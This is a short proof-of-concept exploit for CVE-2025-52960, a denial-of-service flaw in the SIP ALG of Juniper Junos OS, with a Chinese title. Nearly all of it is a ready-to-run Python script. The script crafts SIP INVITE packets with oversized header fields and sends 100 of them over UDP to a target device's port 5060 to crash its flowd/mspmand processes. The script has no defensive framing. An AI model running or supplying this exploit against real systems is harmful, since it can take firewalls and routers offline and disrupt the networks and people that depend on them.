CVE-2025-52960 Juniper Junos OS SIP ALG缓冲区溢出拒绝服务漏洞

# CVE-2025-52960 PoC - Juniper Junos OS SIP ALG Buffer Overflow DoS # This PoC demonstrates sending crafted SIP packets to trigger flowd/mspmand crash # when target device has high memory utilization import socket import struct import time TARGET_HOST = "192.168.1.1" # Target Juniper SRX/MX device TARGET_PORT = 5060 # Default SIP port def craft_malicious_sip_packet(): """ Craft a SIP INVITE packet with oversized header fields to trigger buffer copy without size check in SIP ALG """ # Create oversized SIP URI to trigger buffer overflow condition oversized_uri = "sip:" + "A" * 4096 + "@target.com" sip_packet = ( f"INVITE {oversized_uri} SIP/2.0\r\n" f"Via: SIP/2.0/UDP attacker.com;branch=z9hG4bK{'B' * 2048}\r\n" f"Max-Forwards: 70\r\n" f"To: <sip:user{'C' * 2048}@target.com>\r\n" f"From: <sip:[email protected]>;tag={'D' * 4096}\r\n" f"Call-ID: {'E' * 8192}@attacker.com\r\n" f"CSeq: 1 INVITE\r\n" f"Contact: <sip:[email protected]>\r\n" f"Content-Length: 0\r\n\r\n" ) return sip_packet.encode() def send_sip_flood(): """ Send crafted SIP packets to trigger the vulnerability Note: Exploitation requires target to have high memory utilization """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print("[*] Sending crafted SIP packets...") for i in range(100): try: packet = craft_malicious_sip_packet() sock.sendto(packet, (TARGET_HOST, TARGET_PORT)) print(f"[+] Packet {i+1} sent ({len(packet)} bytes)") time.sleep(0.1) except Exception as e: print(f"[-] Error: {e}") sock.close() print("[*] Attack completed") if __name__ == "__main__": send_sip_flood()